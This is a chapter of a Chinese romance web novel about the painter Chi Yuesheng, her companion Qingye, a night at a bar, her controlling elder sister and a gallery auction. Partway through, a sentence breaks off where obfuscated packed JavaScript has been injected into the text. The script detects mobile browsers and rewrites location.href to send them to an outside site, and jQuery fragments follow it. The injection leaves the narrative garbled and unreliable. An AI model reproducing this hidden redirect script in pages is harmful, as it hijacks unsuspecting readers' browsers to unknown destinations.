默认冷灰
24号文字
方正启体

16. 不怀好心

作者:讨厌爵士本书字数:K更新时间:
    所幸池月升爱买衣服,连不常来的画廊也扔了不少鞋子,正巧有一双买大了一号的浅口软皮鞋。


    “你穿这个吧,正好是你的尺码,也是新的鞋子。”


    这里温情脉脉的关切告一段落了,外面小徐吃瓜也吃饱了。


    她就说为什么小老板今天来这么早,原来是为了和大美女悄眯眯约会啊。


    唉,小徐叹气,忽而生出一股吾家有女初长成的惆怅。


    看在小老板平常对她还不错的份上,这事她就假装不知道,帮她瞒着,不告诉池总了。


    临近傍晚,陈经理和她谈了审查合格的结论,“之后我们把代理的合同签了,就可以安排拍卖了。但具体场次还得看其他藏品的安排。”


    池月升表示理解。


    除非是镇馆之宝级别的藏品,否则单一货品左右不了拍卖场次的组织。这是一项多方面协调,共同合作推进的工作。


    小宁小卢也来问了他们的作品能否上拍卖,陈经理打着太极,表示都会有机会。


    五点左右,池月升收到了今日份来自池曳影的零花钱。


    钱都到手了,人也不在家,那自然是不可能就这么乖乖回去。面对池曳影那张死人脸,她吃饭都不香了。


    “清也,你今晚有空吗?”


    正是分道扬镳的时候,她们站在Tiam门口,清也看了过来,“月升是在邀请我吗?”


    池月升回避目光,低头整理衣服,“算是吧,难得逃出来一天,谁要早早回去面对那个女人啊。”


    “好。”清也应下的速度快得让人惊讶,“月升想带我去哪?”


    带我去哪……


    这种刻意强调她主权的说话方式。


    池月升心跳急促了几个周期。


    ……


    简单用过晚饭后,夜晚降临,她们出现在了另一常见地点——白老板的酒吧。


    薛澹一脸吃了屎的表情,堤防地举着酒杯挡住侧脸,和白老板说悄悄话。


    “姓白的,怎么回事啊?几天不见她俩都发展到这个地步了?我们成电灯泡了!”


    白滟仿若看不懂气氛,又或者是压根懒得和薛澹为伍,“来者皆是客,清小姐第一次来,点杯什么?我请客。”


    薛澹不乐意了,“你这是差别对待吧?请请请,到处请客!怎么从来没见你请我喝点!”


    白滟撩了撩头发,“本来就是开给女人的酒吧,有漂亮女人上门赏脸,我这个做老板的,当然要请客。”


    薛澹快把白眼翻到天上去,这女人明里暗里就爱嘲讽她。


    “有零酒精饮料吗?”清也问。


    白滟笑着应下,“当然有。”


    给她调了杯椰汁。


    “小月月呢,喝点什么?”白老板秒速上完椰汁,又问池月升。


    薛澹嘴快抢答:“小月月当然是要一杯喝完醉生梦死、一觉醒来,人在美人帐中已经完事的绝对~纯粹~伏特加~”


    池月升脸黑了,忍了忍,还是忍不了。


    她哪有这么龌龊的心思?


    就算有,也别当着清也的面指出来,好吗?好的。


    清也的注意力倒不在醉卧美人帐上,她支着下巴,问:“小月月?”


    早就觉得这个称呼从薛澹嘴里出来,腻得人起鸡皮疙瘩,池月升借此警告薛澹:“别叫我小月月,跟你没这么熟。”


    “喂!有没有搞错,你们一个两个都喜欢针对我是吗?又不是只有我一个人叫你小月月,姓白的叫得不比我勤快多了?”


    池月升最终要了杯椰林飘香,朗姆、椰奶、菠萝汁调和而成,热带风情,甜甜的。


    “哎哟。”薛澹大惊小怪,看着她们都觉得牙酸,“不是吧,小月月,饮料都学人家点类似的。”


    半晌,没人理她,扭头一看,其余三个女人聊得正欢呢。


    “白老板的椰奶,调味好特别。”


    “我这杯椰林飘香也是。”


    “多谢赏识,我加了蛋清、牛乳、香叶碎和一些热带杂果。”


    薛澹只能轻哼一声,酸酸地一人独酌。


    三人像是故意排挤她,晾了人好一会,还是清也先抛去话题。


    “这是第一次在拍卖场之外和薛小姐见面,许久不见,薛小姐好似对我有些敌意?”


    清也隔着池月升,遥遥看向吧台另一端,和她们坐的渭泾分明的薛澹。


    薛澹自由散漫惯了,还是家中独女,她就像个爆竹,走到哪儿吵到哪儿,也就是池月升懒得多废话,才能和她玩到一起。


    和熟人是嘻嘻哈哈的,没什么架子,但不意味着她会对一个来路不明的高段位女人有什么好脸色。


    她哼哼两声,故作姿态地说些古风小生话语,“您可是贵客,小女子哪敢对你有敌意。”


    池月升早摸熟了她的性子,拉了把清也,劝道:“你别管她了,她就是这副样子,不和别人吵上几句就浑身难受,就像身上有蚂蚁在爬似的。”


    “我赞成。”白滟见她们喝完了,又端出一份点心。


    清也笑眯眯,“好,我听月升的。”


    薛澹见状不屑的“切”了一声。


    白老板走过去,意有所指地叹了一声,“人啊,贵在听劝。”


    薛澹磨了磨牙,正要发作,却听旁边的池月升突然惊呼一声。


    她性子慢,能让她惊呼出来的:


    “遭了,池曳影疯了,她要来酒吧抓我回家。”


    薛澹笑了笑,“这不挺好,池总亲自来给你当司机了,还不用叫代驾。”


    清也温声劝她:“那就乖乖的,和长姐一起回家去。”


    这不是乖不乖的问题。


    池月升急了,更急人的是其他几人都老神在在,一动不动像王八,“你们两个别待在这里了,趁她来之前赶紧坐车离开。她不许我和你们几个狐朋狗友搅在一块。”


    薛澹天不怕地不怕地翘起二郎腿,“怕什么?有什么好躲的?多大点事啊?别说池总,今天、就是天王老子来了,姑奶奶也继续坐在这儿。”


    与她嚣张得仿若街头混子的态度形成鲜明对比的,是另一端沉静端坐的清也,她思忖了一下。


    “月升需要的话,我就现在离开吧。”


    白滟软着骨头倚在吧台上,“店里也没什么客人了,可以配合你闭店。”


    虽然也是掩耳盗铃,池月升还是应下。


    薛澹懒洋洋地舒展了一把骨头,斜睨了眼清也,“那行吧,清也老师,咱们这就走?”


    这两人乘车走了,白滟闭了店,也骑摩托车走了。


    于是池曳影来时,见到的只有人走灯灭,如同紧急跑路般的酒吧,和门口孤零零等她的池月升。


    “上车。”她摇下车窗,“不想我抱你,就自己上来。”


    池月升手脚并用坐到了副驾上,她一脚油门出发。


    “和佳宝丽的生意谈完了?谈成了?”有小徐这个线人在,池月升对她的了如指掌一点也不意外。


    “成了。”


    池曳影闻言略一点头,说起酒吧的事,“阿月,你又是和薛家那位疯疯癫癫的,出来厮混?”


    要么承认还在和薛澹为伍,要么供出新人物清也,池月升没有丝毫犹豫,选择了前者。


    “你又要说什么教育人的话?”


    “没什么,只是随口过问,你长大了,我不会干涉你的交友。薛家那孩子,性格张扬了点,但本性不坏。”


    池月升托腮,无聊地望着窗外的灯景:“还以为,你又要说些令人倒胃口的话。”


    这种长辈的口吻算什么,池曳影又比薛澹大几岁啊。


    池曳影把着方向盘,目不斜视,限速80的高架她开到了100多,“最近很忙,很多话跟你说过了,你也是嘴上说好,下次还犯,坚决不改。有什么事,通通都等我把即将结婚的消息告诉池家其他人,并且和她同居了再说。”


    倒人胃口的台词这不就来了。


    池月升脸黑如炭,紧紧闭上了嘴。


    需要抓紧时间攒够钱,赶在这位温柔、年下、赘婿搬进来之前,逃出这变异了的家。


    或许是池月升人品大爆发了,机会很快就来了。佳宝丽下一场拍卖正巧就是书


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110030|195858||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    画主题,她的油画作品赫然在列。


    佳宝丽的人来了一次,上门敲定了她两幅1m×1.6m尺幅的画。


    这种尺幅的画,她作为画家Tiam,市场价约是一副20万。普通美院学生找机构卖,大约也能卖个上千块钱。


    听上去挺可观的?


    但实际光是画框加布面的材料费就要五六百。池月升画风特色是喜欢用刮刀厚涂,那么大的画,颜料都得用十几斤,她有时豪横一把还会用昂贵的老荷兰颜料,成本这块简直不敢想。


    按照乐观的情况估算,两幅画每幅以40万的价格卖出,总计80万,二八分成,到她手里就是60多万。


    可若是刨除成本又还剩多少?拍卖的机会不常有,她的日常开销降不下来,赚到的钱又够她远离池曳影和那“赘婿”多久?


    池月升越算越心烦意乱,一张冷脸绷得紧紧的,小徐路过都没敢和她搭话。


    但总有不长眼的人。


    在她脸最冷若冰霜的时候,小卢捧着花走上去,笑得挺绅士,那一捧花也挺好看,粉粉白白,送花的意思不必多说。


    自打那天的上门审查后,小卢对她便多了几分刻意的殷勤,是什么原因再明显不过。勉强算是体面地拒绝了几次后,他依然殷勤不减。


    门口人来人往。那时正逢Tiam这个社区画廊人流量最大的时候,客户、佳宝丽的人、自己人都挤在门口。


    正常人在公众场合多少会顾忌一下,不会说难听的拒绝话,气氛烘托到了,说不准半推半就的,就成事了。


    小卢打的也正是这个主意。


    但池月升不是正常人。


    她会看气氛,却懒得理会气氛。


    她余光瞟了一眼,“谢谢,帮我把花扔街对面垃圾桶,记得垃圾分类。”


    看笑话的人不少。小卢脸色阴了阴,扯了扯嘴角,还想再死缠烂打一把,被眼见的小徐拎走了。


    为了画廊内部安宁,小徐追上去给他作思想工作。


    “你说你,追人也得分场合,想谈恋爱,更得看自个儿够不够格啊?咱小老板不是你能肖想的。”


    小徐劝得苦口婆心,对方听进去多少她不知道,但真正的理由她没乱说。


    她瞄了眼门口,池月升挨着清也,两人间的社交距离堪称是暧昧。


    嘶,挺好磕的。路过磕一下。


    ……


    “月升好受欢迎,只是签个提货单的时间,就能碰上有人对你献殷勤。”


    池月升古怪地望了她一眼。


    在受欢迎程度上,还有人能超过清也吗?拍卖场上,沙龙酒局上,那些老总们才是真的疯狂吧?


    “我都快烦恼死了,你还在我耳边说风凉话。”她嗔怪道。


    清也弯腰俯身,手臂撑在她肩膀伤,嘴唇凑在她耳侧,吐出热气,“在烦什么?太受欢迎也会有烦恼吗?”


    肩膀被她压得下沉,是一个被压着半笼罩的姿势,池月升冒出一个不合时宜的念头:


    清也是在吃醋吗?


    吃醋与否不得而知,她就算脑子再不正常也不至于直接问出口。


    “愁钱,钱不够用,需要很多钱。不知道我的画能拍出多少,要是每幅卖一百万就好了……我真是在做梦。”


    清也很意外,“月升也会愁钱?还以为只有我们普通人会愁呢,长姐给你的零花钱都能抵我们一个月工资了吧?”


    她俯身下来时,纤腰毕现,池月升敏锐地感受到周遭一些不怀好意的打量目光,牵手把她往里间带。


    “哪有那么容易?池曳影太有手段了,她零花钱是按天给的。而且她说,她马上要准备结婚,所以我要尽早攒够钱搬出去。”


    池月升说着,女人抓着她的肩膀,力道传来,大得有点疼。


    “长姐要结婚了?月升知道她的结婚对象是什么人吗?”


    池月升一提起这个话题就黑脸,“谁要关心这种事?想想也知道是什么人吧,肯定是个不怀好心的小白脸赘婿男,靠美色诱惑池曳影,给她吹枕边风,扰得家里鸡犬不宁。”


    清也:……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)